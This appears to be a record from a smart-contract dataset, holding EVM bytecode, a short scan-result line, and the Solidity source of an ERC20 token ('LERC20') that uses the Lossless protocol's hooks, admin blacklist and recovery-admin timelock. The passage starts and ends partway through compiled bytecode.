fffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b690919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600681565b6006600a0a64012a05f2000281565b60008111610a2057600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6c57600080fd5b6000339050610ac382600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1b826001546114b690919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610cea576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7e565b610cfd83826114b690919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600381526020017f45434c000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4b57600080fd5b610f9d82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103282600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117582600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113bf57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c257fe5b818303905092915050565b6000808284019050838110156114df57fe5b809150509291505056fea264697066735822122076f1615f33131f6f547a71247421b8d27c01aea03bd6f7a96af1458396295c4364736f6c634300060c0033
{"success": true, "error": null, "results": {}}
5,470
0xc38055e9bb6e8edD8928fC0BD0fB104E96467838
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } interface ILssController { function beforeTransfer(address _sender, address _recipient, uint256 _amount) external; function beforeTransferFrom(address _msgSender, address _sender, address _recipient, uint256 _amount) external; function beforeApprove(address _sender, address _spender, uint256 _amount) external; function beforeIncreaseAllowance(address _msgSender, address _spender, uint256 _addedValue) external; function beforeDecreaseAllowance(address _msgSender, address _spender, uint256 _subtractedValue) external; function beforeMint(address _to, uint256 _amount) external; function beforeBurn(address _account, uint256 _amount) external; } interface ILERC20 { function name() external view returns (string memory); function admin() external view returns (address); function getAdmin() external view returns (address); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address _account) external view returns (uint256); function transfer(address _recipient, uint256 _amount) external returns (bool); function allowance(address _owner, address _spender) external view returns (uint256); function approve(address _spender, uint256 _amount) external returns (bool); function transferFrom(address _sender, address _recipient, uint256 _amount) external returns (bool); function increaseAllowance(address _spender, uint256 _addedValue) external returns (bool); function decreaseAllowance(address _spender, uint256 _subtractedValue) external returns (bool); function transferOutBlacklistedFunds(address[] calldata _from) external; function setLosslessAdmin(address _newAdmin) external; function transferRecoveryAdminOwnership(address _candidate, bytes32 _keyHash) external; function acceptRecoveryAdminOwnership(bytes memory _key) external; function proposeLosslessTurnOff() external; function executeLosslessTurnOff() external; function executeLosslessTurnOn() external; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event NewAdmin(address indexed _newAdmin); event NewRecoveryAdminProposal(address indexed _candidate); event NewRecoveryAdmin(address indexed _newAdmin); event LosslessTurnOffProposal(uint256 _turnOffDate); event LosslessOff(); event LosslessOn(); } contract LERC20 is Context, ILERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; address public recoveryAdmin; address private recoveryAdminCandidate; bytes32 private recoveryAdminKeyHash; address public override admin; uint256 public timelockPeriod; uint256 public losslessTurnOffTimestamp; bool public isLosslessOn = true; ILssController public lossless; mapping (address => bool) public confirmedBlacklist; constructor(uint256 totalSupply_, string memory name_, string memory symbol_, address admin_, address recoveryAdmin_, uint256 timelockPeriod_, address lossless_) { _mint(_msgSender(), totalSupply_); _name = name_; _symbol = symbol_; admin = admin_; recoveryAdmin = recoveryAdmin_; recoveryAdminCandidate = address(0); recoveryAdminKeyHash = ""; timelockPeriod = timelockPeriod_; losslessTurnOffTimestamp = 0; lossless = ILssController(lossless_); } // --- LOSSLESS modifiers --- event ConfirmBlacklisted(address blacklisted); modifier lssAprove(address spender, uint256 amount) { if (isLosslessOn) { lossless.beforeApprove(_msgSender(), spender, amount); } _; } modifier lssTransfer(address recipient, uint256 amount) { if (isLosslessOn) { lossless.beforeTransfer(_msgSender(), recipient, amount); } _; } modifier lssTransferFrom(address sender, address recipient, uint256 amount) { if (isLosslessOn) { lossless.beforeTransferFrom(_msgSender(),sender, recipient, amount); } _; } modifier lssIncreaseAllowance(address spender, uint256 addedValue) { if (isLosslessOn) { lossless.beforeIncreaseAllowance(_msgSender(), spender, addedValue); } _; } modifier lssDecreaseAllowance(address spender, uint256 subtractedValue) { if (isLosslessOn) { lossless.beforeDecreaseAllowance(_msgSender(), spender, subtractedValue); } _; } modifier onlyRecoveryAdmin() { require(_msgSender() == recoveryAdmin, "LERC20: Must be recovery admin"); _; } modifier onlyAdmin() { require(_msgSender() == admin, "LERC20: Must be admin"); _; } modifier lssBurn(address account, uint256 amount) { if (isLosslessOn) { lossless.beforeBurn(account, amount); } _; } modifier lssMint(address account, uint256 amount) { if (isLosslessOn) { lossless.beforeMint(account, amount); } _; } // --- LOSSLESS management --- function transferOutBlacklistedFunds(address[] calldata from) external override { require(_msgSender() == address(lossless), "LERC20: Only lossless contract"); uint256 fromLength = from.length; uint256 totalAmount = 0; for(uint256 i = 0; i < fromLength;) { address fromAddress = from[i]; require(confirmedBlacklist[fromAddress], "LERC20: Blacklist is not confirmed"); uint256 fromBalance = _balances[fromAddress]; _balances[fromAddress] = 0; totalAmount += fromBalance; emit Transfer(fromAddress, address(lossless), fromBalance); unchecked{i++;} } _balances[address(lossless)] += totalAmount; } function confirmBlacklist(address[] calldata blacklist) external onlyAdmin { uint256 blacklistLenght = blacklist.length; for(uint256 i = 0; i < blacklistLenght;) { confirmedBlacklist[blacklist[i]] = true; emit ConfirmBlacklisted(blacklist[i]); unchecked{i++;} } } function setLosslessAdmin(address newAdmin) external override onlyRecoveryAdmin { require(newAdmin != admin, "LERC20: Cannot set same address"); emit NewAdmin(newAdmin); admin = newAdmin; } function transferRecoveryAdminOwnership(address candidate, bytes32 keyHash) override external onlyRecoveryAdmin { recoveryAdminCandidate = candidate; recoveryAdminKeyHash = keyHash; emit NewRecoveryAdminProposal(candidate); } function acceptRecoveryAdminOwnership(bytes memory key) external override { require(_msgSender() == recoveryAdminCandidate, "LERC20: Must be canditate"); require(keccak256(key) == recoveryAdminKeyHash, "LERC20: Invalid key"); emit NewRecoveryAdmin(recoveryAdminCandidate); recoveryAdmin = recoveryAdminCandidate; recoveryAdminCandidate = address(0); } function proposeLosslessTurnOff() external override onlyRecoveryAdmin { require(losslessTurnOffTimestamp == 0, "LERC20: TurnOff already proposed"); require(isLosslessOn, "LERC20: Lossless already off"); losslessTurnOffTimestamp = block.timestamp + timelockPeriod; emit LosslessTurnOffProposal(losslessTurnOffTimestamp); } function executeLosslessTurnOff() external override onlyRecoveryAdmin { require(losslessTurnOffTimestamp != 0, "LERC20: TurnOff not proposed"); require(losslessTurnOffTimestamp <= block.timestamp, "LERC20: Time lock in progress"); isLosslessOn = false; losslessTurnOffTimestamp = 0; emit LosslessOff(); } function executeLosslessTurnOn() external override onlyRecoveryAdmin { require(!isLosslessOn, "LERC20: Lossless already on"); losslessTurnOffTimestamp = 0; isLosslessOn = true; emit LosslessOn(); } function getAdmin() public view virtual override returns (address) { return admin; } // --- ERC20 methods --- function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override lssTransfer(recipient, amount) returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override lssAprove(spender, amount) returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override lssTransferFrom(sender, recipient, amount) returns (bool) { uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "LERC20: transfer amount exceeds allowance"); _transfer(sender, recipient, amount); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) override public virtual lssIncreaseAllowance(spender, addedValue) returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) override public virtual lssDecreaseAllowance(spender, subtractedValue) returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "LERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "LERC20: transfer from the zero address"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "LERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function burn(uint256 amount) public virtual lssBurn(_msgSender(), amount) { _burn(_msgSender(), amount); } function burnFrom(address account, uint256 amount) public virtual lssBurn(account, amount) { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "LERC20: burn amount exceeds allowance"); unchecked { _approve(account, _msgSender(), currentAllowance - amount); } _burn(account, amount); } function mint(address to, uint256 amount) public virtual lssMint(to, amount) { require(_msgSender() == admin, "LERC20: Must be admin"); _mint(to, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "LERC20: mint to the zero address"); _totalSupply += amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { _balances[account] += amount; } emit Transfer(address(0), account, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "LERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "LERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); } }
0x608060405234801561001057600080fd5b50600436106101da5760003560e01c80636e9960c311610104578063a9059cbb116100a2578063ccfa214f11610071578063ccfa214f14610531578063d6e242b81461054f578063dd62ed3e14610559578063f851a44014610589576101da565b8063a9059cbb146104ab578063b38fe957146104db578063b5c22877146104e5578063b81ce09914610501576101da565b806393310ffe116100de57806393310ffe14610425578063936af9111461044157806395d89b411461045d578063a457c2d71461047b576101da565b80636e9960c3146103bb57806370a08231146103d957806379cc679014610409576101da565b8063313ce5671161017c57806342966c681161014b57806342966c68146103595780635b8a194a146103755780635f6529a31461037f57806361086b001461039d576101da565b8063313ce567146102d157806334f6ebf5146102ef578063395093511461030d57806340c10f191461033d576101da565b806323b872dd116101b857806323b872dd1461024b57806326e90f8f1461027b5780632baa3c9e146102975780632ecaf675146102b3576101da565b806306fdde03146101df578063095ea7b3146101fd57806318160ddd1461022d575b600080fd5b6101e76105a7565b6040516101f49190612637565b60405180910390f35b61021760048036038101906102129190612701565b610639565b604051610224919061275c565b60405180910390f35b610235610709565b6040516102429190612786565b60405180910390f35b610265600480360381019061026091906127a1565b610713565b604051610272919061275c565b60405180910390f35b61029560048036038101906102909190612859565b6108ca565b005b6102b160048036038101906102ac91906128a6565b610a64565b005b6102bb610c13565b6040516102c89190612786565b60405180910390f35b6102d9610c19565b6040516102e691906128ef565b60405180910390f35b6102f7610c22565b6040516103049190612969565b60405180910390f35b61032760048036038101906103229190612701565b610c48565b604051610334919061275c565b60405180910390f35b61035760048036038101906103529190612701565b610da6565b005b610373600480360381019061036e9190612984565b610ef4565b005b61037d610fb8565b005b6103876110f0565b60405161039491906129c0565b60405180910390f35b6103a5611116565b6040516103b29190612786565b60405180910390f35b6103c361111c565b6040516103d091906129c0565b60405180910390f35b6103f360048036038101906103ee91906128a6565b611146565b6040516104009190612786565b60405180910390f35b610423600480360381019061041e9190612701565b61118e565b005b61043f600480360381019061043a9190612a11565b6112b2565b005b61045b60048036038101906104569190612859565b6113d8565b005b6104656116e4565b6040516104729190612637565b60405180910390f35b61049560048036038101906104909190612701565b611776565b6040516104a2919061275c565b60405180910390f35b6104c560048036038101906104c09190612701565b61191d565b6040516104d2919061275c565b60405180910390f35b6104e36119ed565b005b6104ff60048036038101906104fa9190612b81565b611b60565b005b61051b600480360381019061051691906128a6565b611d4f565b604051610528919061275c565b60405180910390f35b610539611d6f565b604051610546919061275c565b60405180910390f35b610557611d82565b005b610573600480360381019061056e9190612bca565b611efc565b6040516105809190612786565b60405180910390f35b610591611f83565b60405161059e91906129c0565b60405180910390f35b6060600380546105b690612c39565b80601f01602080910402602001604051908101604052809291908181526020018280546105e290612c39565b801561062f5780601f106106045761010080835404028352916020019161062f565b820191906000526020600020905b81548152906001019060200180831161061257829003601f168201915b5050505050905090565b60008282600b60009054906101000a900460ff16156106eb57600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166347abf3be610698611fa9565b84846040518463ffffffff1660e01b81526004016106b893929190612c6b565b600060405180830381600087803b1580156106d257600080fd5b505af11580156106e6573d6000803e3d6000fd5b505050505b6106fd6106f6611fa9565b8686611fb1565b60019250505092915050565b6000600254905090565b6000838383600b60009054906101000a900460ff16156107c857600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663379f5c69610773611fa9565b8585856040518563ffffffff1660e01b81526004016107959493929190612ca2565b600060405180830381600087803b1580156107af57600080fd5b505af11580156107c3573d6000803e3d6000fd5b505050505b6000600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610813611fa9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905085811015610893576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088a90612d59565b60405180910390fd5b61089e88888861209c565b6108bb886108aa611fa9565b88846108b69190612da8565b611fb1565b60019450505050509392505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661090b611fa9565b73ffffffffffffffffffffffffffffffffffffffff1614610961576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095890612e28565b60405180910390fd5b600082829050905060005b81811015610a5e576001600c600086868581811061098d5761098c612e48565b5b90506020020160208101906109a291906128a6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f8e7a36ae2fd7b3451aa65867e55716567fdcf3288d8547c99aed81330615b3b7848483818110610a2757610a26612e48565b5b9050602002016020810190610a3c91906128a6565b604051610a4991906129c0565b60405180910390a1808060010191505061096c565b50505050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610aa5611fa9565b73ffffffffffffffffffffffffffffffffffffffff1614610afb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af290612ec3565b60405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8390612f2f565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff167f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c60405160405180910390a280600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60095481565b60006012905090565b600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008282600b60009054906101000a900460ff1615610cfa57600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cf5961bb610ca7611fa9565b84846040518463ffffffff1660e01b8152600401610cc793929190612c6b565b600060405180830381600087803b158015610ce157600080fd5b505af1158015610cf5573d6000803e3d6000fd5b505050505b610d9a610d05611fa9565b868660016000610d13611fa9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d959190612f4f565b611fb1565b60019250505092915050565b8181600b60009054906101000a900460ff1615610e4d57600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630628a2c083836040518363ffffffff1660e01b8152600401610e1a929190612fa5565b600060405180830381600087803b158015610e3457600080fd5b505af1158015610e48573d6000803e3d6000fd5b505050505b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e8e611fa9565b73ffffffffffffffffffffffffffffffffffffffff1614610ee4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610edb90612e28565b60405180910390fd5b610eee84846122a0565b50505050565b610efc611fa9565b81600b60009054906101000a900460ff1615610fa257600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634a1fefbd83836040518363ffffffff1660e01b8152600401610f6f929190612fa5565b600060405180830381600087803b158015610f8957600080fd5b505af1158015610f9d573d6000803e3d6000fd5b505050505b610fb3610fad611fa9565b846123df565b505050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ff9611fa9565b73ffffffffffffffffffffffffffffffffffffffff161461104f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104690612ec3565b60405180910390fd5b600b60009054906101000a900460ff161561109f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110969061301a565b60405180910390fd5b6000600a819055506001600b60006101000a81548160ff0219169083151502179055507f1ba3b66404043da8297d0b876fa6464f2cb127edfc6626308046d4503028322b60405160405180910390a1565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b8181600b60009054906101000a900460ff161561123557600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634a1fefbd83836040518363ffffffff1660e01b8152600401611202929190612fa5565b600060405180830381600087803b15801561121c57600080fd5b505af1158015611230573d6000803e3d6000fd5b505050505b600061124885611243611fa9565b611efc565b90508381101561128d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611284906130ac565b60405180910390fd5b6112a185611299611fa9565b868403611fb1565b6112ab85856123df565b5050505050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112f3611fa9565b73ffffffffffffffffffffffffffffffffffffffff1614611349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134090612ec3565b60405180910390fd5b81600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550806007819055508173ffffffffffffffffffffffffffffffffffffffff167f6c591da8da2f6e69746d7d9ae61c27ee29fbe303798141b4942ae2aef54274b160405160405180910390a25050565b600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611419611fa9565b73ffffffffffffffffffffffffffffffffffffffff161461146f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146690613118565b60405180910390fd5b60008282905090506000805b8281101561166657600085858381811061149857611497612e48565b5b90506020020160208101906114ad91906128a6565b9050600c60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661153b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611532906131aa565b60405180910390fd5b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080846115ce9190612f4f565b9350600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161164f9190612786565b60405180910390a38280600101935050505061147b565b5080600080600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546116d79190612f4f565b9250508190555050505050565b6060600480546116f390612c39565b80601f016020809104026020016040519081016040528092919081815260200182805461171f90612c39565b801561176c5780601f106117415761010080835404028352916020019161176c565b820191906000526020600020905b81548152906001019060200180831161174f57829003601f168201915b5050505050905090565b60008282600b60009054906101000a900460ff161561182857600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663568c75a96117d5611fa9565b84846040518463ffffffff1660e01b81526004016117f593929190612c6b565b600060405180830381600087803b15801561180f57600080fd5b505af1158015611823573d6000803e3d6000fd5b505050505b600060016000611836611fa9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050848110156118f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ea9061323c565b60405180910390fd5b6119106118fe611fa9565b87878461190b9190612da8565b611fb1565b6001935050505092915050565b60008282600b60009054906101000a900460ff16156119cf57600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631ffb811f61197c611fa9565b84846040518463ffffffff1660e01b815260040161199c93929190612c6b565b600060405180830381600087803b1580156119b657600080fd5b505af11580156119ca573d6000803e3d6000fd5b505050505b6119e16119da611fa9565b868661209c565b60019250505092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611a2e611fa9565b73ffffffffffffffffffffffffffffffffffffffff1614611a84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7b90612ec3565b60405180910390fd5b6000600a541415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac1906132a8565b60405180910390fd5b42600a541115611b0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0690613314565b60405180910390fd5b6000600b60006101000a81548160ff0219169083151502179055506000600a819055507f3eb72350c9c7928d31e9ab450bfff2c159434aa4b82658a7d8eae7f109cb4e7b60405160405180910390a1565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611ba1611fa9565b73ffffffffffffffffffffffffffffffffffffffff1614611bf7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bee90613380565b60405180910390fd5b600754818051906020012014611c42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c39906133ec565b60405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fb94bba6936ec7f75ee931dadf6e1a4d66b43d09b6fa0178fb13df9b77fb5841f60405160405180910390a2600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffff